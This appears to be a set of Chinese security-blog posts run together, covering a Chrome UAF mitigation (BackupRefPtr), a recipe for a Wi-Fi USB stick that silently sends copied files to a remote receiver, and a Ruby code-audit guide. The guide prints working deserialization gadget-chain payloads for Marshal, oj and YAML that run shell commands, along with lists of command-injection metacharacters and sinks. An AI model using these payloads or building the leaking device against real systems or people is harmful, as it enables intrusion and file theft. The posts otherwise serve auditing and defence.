HMCN模型架构图表4所示，上图是HMCN-F非递归版结构图，架构中是有2条信息流，全局信息流和局部信息流。全局信息流是通过每个级别类集的反向传播梯度加强了全局信息流内的局部层次关系，局部的所有输出，经级联起来，再由全局输出进行一致性池化操作，输出最后的结果。这种结构能发现整个类层次结构中的局部层次类关系和全局信息，更适合做层次分类。

图表4

实验结果

漏洞类型分类模型

相似度模型+主体词 + 漏洞类型分类模型

总结

未来，AI自动化网络安全攻防必定是基于漏洞资产信息库来完成一系列攻防任务，因此，漏洞及情报数据中心的搭建对于网络攻防的发展愈发重要。

目前市场上的漏洞平台信息收集主要还是通过网络爬虫收集。漏洞收集来的各个平台信息冗余且重复，一些无法去重的漏洞资产信息无法入库，而对于企业来说这部分漏洞资产信息就会缺失，导致失去行业竞争力。基于SBERT孪生网络的技术方案能为企业创造巨大价值。

往期回顾

MiraclePtr UAF漏洞利用缓解技术介绍

针对U盘文件的盗与防攻略

Ruby安全漫谈

阅读原文

跳转微信打开

2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google Chrome安全团队在缓解UAF漏洞利用上技术操作，本文将围绕该介绍进行简单的扩展。

2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google Chrome安全团队在缓解UAF漏洞利用上的进展。由于MiraclePtr并不是单指某一种智能指针技术，而是包含了Google安全团队在缓解UAF利用上的多次实验和尝试，本文也仅针对其最新启用的BackupRef方案做介绍，如有疏漏错误，敬请斧正，共同交流探讨。

MiraclePtr

首先需要明确，MiraclePtr与unique_ptr、weak_ptr等C++中的原始智能指针并不是同一概念，它是Google安全团队在缓解由指针引起的内存破坏漏洞过程中，提出的多种方案集合，其本质是希望将原始指针迁移到带缓解方案的智能指针类，通过引用计数、指针标记等方式阻止攻击者对内存破坏漏洞被利用，重点解决的是UAF类型漏洞的悬垂指针可被利用的问题。

如上图，Google安全团队认为攻击者在针对Chrome的攻击过程中，通常需要组合一个渲染器漏洞利用和一个沙箱逃逸漏洞来达到完整利用的目的，MiraclePtr可以通过缓解UAF漏洞利用，有效的阻止攻击者针对浏览器主进程中UAF漏洞的利用（上图蓝色部分），让攻击者无法实现完整的利用链，从而降低漏洞危害。

在对Chrome历史可利用漏洞统计中，UAF类型漏洞占了几乎一半，因此MiraclePtr也尝试了包含BackupRefPtr、BorrowPtr、SafePtr、CheckedPtr、MTECheckedPtr、ViewPtr在内的多种方式来缓解UAF类型的漏洞利用，并在对比了各方案在性能开销、内存开销、安全保护、开发人员便利性上的优缺点后，近期在Windows和Android的Chrome 102稳定版中启用了BackupRefPtr，下文只重点介绍BackupRefPtr，其他方案详细信息查看参考链接中的内容。

BackupRefPtr方案

BackupRefPtr提出了依赖“确定性引用计数”的指针保护方案，主要借鉴了CheckedPtr2、SafePtr和BorrowPtr的思路，并且需要Chrome的堆内存分配器PartitionAlloc支持。在2020年，Google ProjectZero在博客公布的一篇采用CPU漏洞侧信道攻击来泄漏缓存数据，从而实现Chrome沙箱逃逸的文章，证明了依赖指针标记的方案有潜在的被通过侧信道攻击的风险，出于安全性考虑，确定性引用计数的方案成了优先选择。

PartitionAlloc是Chrome中自行实现的堆分配器，主要在分配效率、内存空间利用率和安全性上进行了优化。PartitionAlloc使用2MB大小的超级页面作为普通数据桶，每个超级页面被分割成多个分区。第一个和最后一个分区是永久不可访问的，用来当作保护页面，在第一个分区页中间的一个系统页面保存了元数据（metadata），这些元数据提供了对内存对象的跟踪能力，BackupRefPtr使用到的引用计数就存储在metadata中。

在Chromium的源码实现中，BackupRefPtr是一个线程安全的引用计数指针类，可以非常简单的替换原始指针，Chromium团队在引入BackupRefPtr时也一次性替换了源码之中超过15000个原始指针。BackupRefPtr的引用计数存储在PartitionAlloc元数据中（与CheckedPtr2方案使用同一标志位），如果在销毁一个对象时，它的引用计数不为零，则会将该对象标记为被污染，此时程序不会真正的释放该内存，而是在再次访问被破坏的对象时，程序将发生主动崩溃。

该方案PoC代码如下，具体实现可参考Chromium源码raw_ptr.h中的BackupRefPtrImpl类：

template <typename T>class BackupRefPtr {  BackupRefPtr(T* ptr) : ptr_(ptr) {    if (!isSupportedAllocation(ptr))      return;     atomic_int& ref_count = *(cast<atomic_int*>(ptr) - 1);    CHECK(++ref_count);  }   ~BackupRefPtr() {    if (!isSupportedAllocation(ptr_))      return;     atomic_int& ref_count = *(cast<atomic_int*>(ptr) - 1);    if (--ref_count == 0) // needed in case the BackupRefPtr outlives                          // its pointee and has to free the slot      PartitionAlloc::ActuallyFree(ptr_);  }   T* operator->() { return ptr_; }   T* ptr_;}; void* Alloc(size_t size) {  void* ptr = ActuallyAlloc(size);  if (isSupportedAllocation(ptr)) {    int& ref_count = *(cast<int*>(ptr) - 1);    ref_count = 1; // We need to set the reference count to one initially                   // otherwise |~BackupRefPtr| can trigger deallocation of                   // an object that’s still alive.  }  return ptr;} void Free(void* ptr) {  if (isSupportedAllocation(ptr)) {    atomic_int& ref_count = *(cast<atomic_int*>(ptr) - 1);    if (ref_count != 1)      memset(ptr, 0xcc, getAllocationSize(ptr));    if (--ref_count != 0)      return;  }   ActuallyFree(ptr);}

总结

BackupRefPtr通过上述机制，解决了悬垂指针（Dangling Pointer）被利用的问题，在该方案中，发生释放操作但引用计数不为0的对象并没有被真正释放，攻击者无法使用堆喷射等方式重新分配该对象的内存空间，并且在对象再次被访问时，该内存区域被填充了污染标志或发生主动崩溃，UAF漏洞被缓解为内存泄漏、断言失败或空指针等无法利用的崩溃。

整体而言，该机制的引入进一步降低了Chrome中可利用漏洞的比例，一定程度上提高了Chrome的安全性。

参考链接

1、Use-after-freedom: MiraclePtr

https://security.googleblog.com/2022/09/use-after-freedom-miracleptr.html

2、Pointer Safety Ideas [PUBLIC] - Comparison of Use-After-Free mitigation proposals

https://docs.google.com/document/d/1qsPh8Bcrma7S-5fobbCkBkXWaAijXOnorEqvIIGKzc0/edit

3、BackupRefPtr

https://docs.google.com/document/d/1m0c63vXXLyGtIGBi9v6YFANum7-IRC3-dmiYBCWqkMk/edit#heading=h.jgclb3snutxw

4、PartitionAlloc Design

https://chromium.googlesource.com/chromium/src/+/main/base/allocator/partition_allocator/PartitionAlloc.md

5、Escaping the Chrome Sandbox with RIDL

https://googleprojectzero.blogspot.com/2020/02/escaping-chrome-sandbox-with-ridl.html

6、MDS: Microarchitectural Data Samplin

https://mdsattacks.com/

往期回顾

针对U盘文件的盗与防攻略

Ruby安全漫谈

基于RDP协议识别主机操作系统版本与用户名

阅读原文

跳转微信打开

近年来，使用U盘作为介质完成的网络攻击屡见不鲜。本文介绍分析一种在不获取主机控制权限条件下对U盘文件进行读取的方法。

近年来，使用U盘作为介质完成的网络攻击屡见不鲜。

• 2010年的震网病毒事件，使用了基于U盘来触发的windows 快捷方式漏洞；
  
  
• 2014年安全研究员在BlackHat上公布了基于U盘的BadUsb攻击，该攻击也基于U盘这个介质；
  
  

• 2021年，在BlackHat Europe上，安全研究员利用USB协议栈的Double Free漏洞控制了linux 系统，这个攻击同样也基于U盘触发。

  
  

以上几种方法都是通过USB设备获得了主机控制权限，本文介绍一种在不获取主机控制权限条件下对U盘文件进行读取的方法。该方法需要一个特制的U盘，在使用这个U盘进行文件的存储、拷贝过程中，可在用户不知情的情况下将U盘里的文件发送给远端的接收者。

原理

一个U盘主要由主控板（USB控制器）、FLASH存储等组成。FLASH分为2部分，一部分是用户可见的存储区，另一部分是用户不可见的固件区域。

为了达到将U盘的内容发送到远程接收端的目的，需要修改U盘控制器的固件代码，在固件代码中添加文件传输的功能。除此之外，还需要一个支持无线通信功能的U盘控制器，该控制器同时支持WIFI功能和USB功能，通过控制器的WIFI功能，U盘能够连接周围的热点，并且将存储在FLASH中的文件内容发送到文件接收端。

为了实现这个功能，笔者选取了同时支持WIFI和USB功能的芯片作为控制器芯片，芯片同时支持向芯片刷入自定义固件。基于该芯片的开发板更便于开发U盘相关的应用，例如开发制作USB HID设备、USB存储设备等。

图1.3

该开发板中需要关注的有USB_DEV，USB-to-UART，Micro SD Card，ESP-S3-MINI-1。USB_DEV interface是一个TYPEA公口，可以连接其它USB主机，ESP-S3-MINI-1模组是通用型Wi-Fi MCU模组，具有丰富的外设接口，内部包含了ESP32S3芯片。Micro SD Card Slot可以插入TF卡，ESP32S3芯片通过4-线 SDIO和SPI接口读写TF卡里的内容。USB-to-UART接口是Micro-USB接口，可用作开发板的供电接口，可烧录固件至芯片，也可作为通信接口，通过板载USB转UART桥接器与芯片通信。

实现细节

本章节介绍如何基于开发板制作一个具有WIFI联网功能的U盘，该U盘具有普通U盘的存储等功能，同时支持将U盘里文件发送给其它接收者。

安装成功之后，会在桌面生成ESP-IDF X.X CMD快捷方式，双击快捷方式如果显示如下命令行窗口，代表交叉编译环境安装成功了。

git clone --recursive https://github.com/espressif/esp-iot-solution

详细的环境配置步骤参考：

https://github.com/espressif/esp-iot-solution

esp-iot-solution中包含一个usb_msc_wireless_disk示例，该实例会生成一个具有WIFI的 U盘。

usb_msc_wireless_disk项目是一个无线U盘的示例程序，需要在编译之前进行一些基本的配置。

idf.py set-target esp32s3 //设计芯片的类型是esp32s3；

idf.py menuconfig// 配置一些选项，例如，使用内部flash还是外部sdcard，wifi的类型，AP/STA。

选择使用External SDCcard存储，U盘的存储空间比更大（接近TF卡的容量），如果使用Internal Flash，存储空间只有1.4MB，空间比较小。另外，还需要配置U盘的联网方式，STA模式代表U盘会主动连接一个周围的热点，在此模式下，需要设置WIFI的名字和密码， U盘启动会自动连接该WIFI。AP模式代表U盘会生成一个WIFI热点，可以让电脑、手机等其它设备接入。

Idf.py –p COMx flash便可以把编译好的固件刷到开发板，开发板再插入电脑之后就会被识别成一个USB存储设备，当把文件拷贝到这个U盘，该文件就会被发送出去，造成文件内容泄露。

想要制作一个具有联网功能并且外观像普通U盘的USB设备，只需通过PCB画板进行硬件设计，把芯片设计到U盘里，一个“不诚实”的U盘便诞生了。

防护手法

对于普通用户来说，想要防范此类攻击需要提高个人安全意识。不要随便使用不明来源的U盘，也不要轻易接受并使用他人赠送的U盘。尽量从正规渠道购买，切忌从不可信的第三方渠道/二手市场购买U盘。

除此之外，我们在插入使用新U盘时，可以留意下周围是否有新增可疑WIFI热点，如果没有新增可疑WIFI热点，那么基本上可以确定我们并没有受到此类型攻击。

往期回顾

Ruby安全漫谈

基于RDP协议识别主机操作系统版本与用户名

Chrome V8命令执行漏洞（CVE-2022-1310）分析

阅读原文

跳转微信打开

本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述，希望能给读者在Ruby代码审计上提供帮助。

随着Ruby越来越流行，Ruby相关的安全问题也逐渐暴露，目前，国内专门介绍Ruby安全的文章较少，本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述，希望能给读者在Ruby代码审计上提供帮助。

Ruby简介

Ruby是一种面向对象、指令式、函数式、动态的通用编程语言。在20世纪90年代中期由日本电脑科学家松本行弘（Matz）设计并开发。Ruby注重简洁和效率，句法优雅，读起来自然，写起来舒适。

Ruby安全

说到Ruby安全不得不提RubyonRails安全，本篇着重关注Ruby本身。Ruby涉及到web安全漏洞几乎囊括其他语言存在的漏洞，例如命令注入漏洞、代码注入漏洞、反序列化漏洞、SQL注入漏洞、XSS漏洞、SSRF漏洞等。但是在具体的漏洞触发上，Ruby又不同于其他语言。

命令注入漏洞

命令注入漏洞一般是指把外部数据传入system()类的函数执行，导致命令注入漏洞。触发命令注入漏洞的链接符号有很多，再配合单双引号可以组合成更多不同的注入条件，例如（linux）:

• ``
• $()
• ;
• |
• &
• \n

在审计代码的时候一般会直接搜索能够执行命令的函数，例如：

• popen()
• spawn()
• syscall()
• system()
• exec()
• Open3.*

而对于Ruby，除了支持这些函数执行命令，还有一些独特执行命令的方式：

• %x//

• ``

• open()

• IO.read()

• IO.write()

• IO.binread()

• IO.binwrite()

• IO.foreach()

• IO.readlines()

%x//和``属于类似system函数，可以把字符串解析为命令：

open()是Ruby用来操作文件的函数，但是他也支持执行命令，执行传入一个以中划线开头的字符，后面跟着要执行的命令即可：

除了open()函数，IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函数也可以以相同的方式执行命令。

open()函数引发的Ruby安全问题：

https://hackerone.com/reports/1161691

https://hackerone.com/reports/651518

https://hackerone.com/reports/1158824

https://hackerone.com/reports/294462

File.read()函数引发的Ruby安全问题：

https://hackerone.com/reports/449482

IO.readlines()函数引发的潜在Ruby安全问题，笔者发现，已被忽略：

https://hackerone.com/reports/1090678

代码注入漏洞

代码注入漏洞一般是由于把外部数据传入eval()类函数中执行，导致程序可以执行任意代码。Ruby除了支持eval()，还支持class_eval()、instance_eval()函数执行代码，区别在于执行代码的上下文环境不同。eval()函数导致的代码注入问题与其他语言类似，不再赘述。

Ruby除了eval()、class_eval()、instance_eval()函数，还存在其他可以执行代码的函数：

• send()
• __send__()
• public_send()
• const_get()
• constantize()

send()函数

send()函数是Ruby用来调用符号方法的函数，可以将任何指定的参数传递给它，类似JAVA中的invoke函数，不过它更为灵活，可以接收外部变量，举例：

class Klass

  def hello(*args)

      puts "Hello " + args.join(' ')

  end

end

k = Klass.new

k.send :hello, "gentle", "readers"

#=> "Hello gentle readers"

上述代码中，实例k通过send动态调用了hello办法，假如hello字符串来自外部，便可以传入eval，注入恶意代码，举例：

class Klass

  def hello(*args)

      puts "Hello " + args.join(' ')

  end

end

k = Klass.new

k.send :eval, "`touch /tmp/niubl`"

__send__()函数

__send__()函数和send函数一样，区别在于当代码有send同名函数时，可以调用__send__()。

public_send()函数

public_send()和send()函数的区别在于send()可以调用私有方法。

send()函数引发的Ruby安全问题：

https://hackerone.com/reports/327512

搜索一些不安全的用法：

const_get()函数

const_get()函数是Ruby用来在模块中获取常量值的函数，它存在一个inherit参数，当设置为true时（默认也为true），会递归向祖先模块查找。它还有另外一个用法，就是当字符串是已载入的类名时，会返回这个类（Ruby中，类名也是常量），类似JAVA的forName函数，常用写法是这样：

代码中，使用const_get动态实例化了类，使Ruby更为灵活。但是这样的用法如果使用不当，也会出现安全问题，例如这里（rack-proxy模块）：

如图，perform_request()函数在Net::HTTP模块中搜索HTTP方法类，然后实例化，并传递full_path请求路径参数给new()函数，HTTP方法和请求路径都是外部可控的，而且const_get()函数没有限制inherit，默认可以递归查找，在整个空间内实例化任意已载入类，并传递一个可控参数。如果找到合适的利用链，完全可以到达任意代码执行。目前，该问题已在GitHub上被发现并修复。

实战中已经有人使用此方法实现了代码执行，那就是gitlab的一个漏洞

https://hackerone.com/reports/1125425， kramdown模块使用const_get()函数来动态实例化格式化类，但是没有限制inherit，导致vakzz通过使用一个Redis类的利用链达到了任意代码执行的目的，漏洞报告已经写的非常详细，不再赘述。

constantize()

constantize同样可以将字符串转化为类，属于RubyonRails中的用法，底层调用的const_get()函数：

  def constantize(camel_cased_word)

    Object.const_get(camel_cased_word)

  end

下图中constantize要转化的类和类实例化的参数都可控，如果我们能找到合适的利用链，便可以到达任意代码执行：

反序列化漏洞

反序列化漏洞是指在把外部传入的不可信字节序列恢复为对象的过程中，未做合适校验，导致攻击者可以利用特定方法，配合利用链，达到任意代码执行的目的。Ruby也有反序列化的函数，同样也存在反序列化漏洞。

Marshal反序列化

Marshal是Ruby用来序列反序列化的模块，Marshal.dump()可以把一个对象序列化为字节序，Marshal.load()可以把一个字节序反序列化为对象。

Marshal反序列化的利用已有很多篇分析文章，不再赘述。

• https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md
• https://www.elttam.com/blog/ruby-deserialization/
• lhttps://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
• lhttps://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md

使用已经公开的POC测试：

# Autoload the required classes

Gem::SpecFetcher

Gem::Installer

# prevent the payload from running when we Marshal.dump it

module Gem

class Requirement

  def marshal_dump

    [@requirements]

  end

end

end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate

rs.instance_variable_set('@sets', wa1)

rs.instance_variable_set('@git_set', "id > /tmp/niubl")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate

i.instance_variable_set('@read', 0)

i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate

n.instance_variable_set('@io', i)

n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate

t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate

r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

puts Marshal.load(payload)

执行POC（ruby-3.0.0）：

搜索一些不安全的用法：

JSON反序列化

Ruby 处理JSON时可能存在反序列化漏洞，但是不是Ruby内置的JSON解析器，而是第三方开发的解析器oj（https://github.com/ohler55/oj）。oj在解析JSON时支持多种数据类型，包括会导致代码执行的Object类型。

使用已经公开的POC测试：

require "oj"

json = '{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"id >> /tmp/niubl"},"method_id":":resolve"}}}}],"dummy_value"]}'

Oj.load(json)

执行POC（ruby-3.0.0）：

oj可以通过设置模式，避免反序列化对象：

Oj.default_options = {:mode => :compat }

YAML反序列化

Ruby YAML也支持反序列化对象，pysch 4.0之前版本调用YAML.load()函数即可反序列化对象，psych 4.0以后需要调用YAML.unsafe_load()才能反序列化对象。使用已经公开的POC测试：

- !ruby/class 'Gem::SpecFetcher'

- !ruby/class 'Gem::Installer'

- !ruby/object:Gem::Requirement

requirements: !ruby/object:Gem::Package::TarReader

  io: !ruby/object:Net::BufferedIO

    io: !ruby/object:Gem::Package::TarReader::Entry

      read: 0

      header: aaa

    debug_output: !ruby/object:Net::WriteAdapter

      socket: !ruby/object:Gem::RequestSet

        sets: !ruby/object:Net::WriteAdapter

          socket: !ruby/module 'Kernel'

          method_id: :system

        git_set: id >> /tmp/niubl

      method_id: :resolve

require "yaml"

YAML.load(open("test.yaml").read())

执行POC（ruby-3.0.0）：

Ruby YAML解析，psych4.0之前可以通过调用save_load()函数，避免反序列化对象，psych 4.0之后默认load()函数就是安全的（https://github.com/ruby/psych/pull/487）。

搜索unsafe_load的使用，不一定存在漏洞，需要yaml内容可控才有风险：

正则错用

Ruby正则大体与其他语言一样，只是在个别语法上存在差别，如果没有特别了解研究，按照其他的语言用法套用，就很有可能出现安全问题，例如Ruby在用正则匹配开头和结尾时支持^$的用法，但是支持多行匹配则需要改为\A\Z避免换行绕过。

正则错用引发的安全问题：

https://hackerone.com/reports/733072

搜索相关代码，还是有不少错用的：

FUZZ Ruby解析器

在学习Ruby反序列化时，想要通过Ruby用C语言实现Marshal，对处理不同数据类型做处理，那么可以对他进行一下FUZZ。

FUZZ使用了AFLplusplus，配置编译Ruby：

• ./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc --disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env

• export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"

• AFL_USE_ASAN=1 make

使用AFLplusplus的deferred instrumentation模式，对Ruby源码main.c文件稍作修改：

样本生成上，可以选取Ruby自带的测试用例，这样可以快速得到比较全面合法的样本，正好在学习Ruby hook的方案，写了一个简单的hook函数，在rubygems.rb文件中加载，劫持Marshal模块，执行自测的同时即可保存下样本。

require 'securerandom'

module Marshal

  class << self

      alias_method :__dump, :dump

      def dump(*args)

          result = __dump(*args)

          uuid = SecureRandom.uuid

          File.open("/testcases/" + uuid, 'wb') {|f| f.write(result)}

          result

      end

  end

end

想要FUZZ其他模块也可以用同样办法来获取样本。

经过一段时间的FUZZ，陆陆续续发现了一些漏洞：

1. CVE-2022-28738 doublefree in onig_reg_resize

2. CVE-2022-28739 heap-buffer-overflow in strtod

3. global-buffer-overflow calc_tm_yday

4. dynamic-stack-buffer-overflow in renumber_by_map

5. JSON.parse denial of service

虽然FUZZ出了一些问题，但是依旧存在很多未解决的问题，比如FUZZ速度、效率、自动化等，未来将继续深入探索研究。

以上是笔者在ruby中的一些学习研究汇总，如有不恰当之处，敬请斧正，一起交流学习。

参考链接

• https://hackerone.com/ruby/hacktivity

• https://bishopfox.com/blog/ruby-vulnerabilities-exploits

• https://zenn.dev/ooooooo_q/books/rails_deserialize

• http://gavinmiller.io/2016/the-safesty-way-to-constantize/

• https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md

• https://www.elttam.com/blog/ruby-deserialization/

• https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

• https://bsidessf2018.sched.com/event/E6jC/fuzzing-ruby-and-c-extensions

往期回顾

基于RDP协议识别主机操作系统版本与用户名

Chrome V8命令执行漏洞（CVE-2022-1310）分析

基于深度学习的主机操作系统识别

阅读原文

跳转微信打开

网络安全攻防技术必将愈发体现出人工智能及机器学习介入的影响，未来的网络安全将会越来越多地出现AI vs AI的攻防局面，墨云将一直专注人工智能在攻防安全领域的应用研究，打造智能化产品体系，为用户提供全方位的信息安全服务。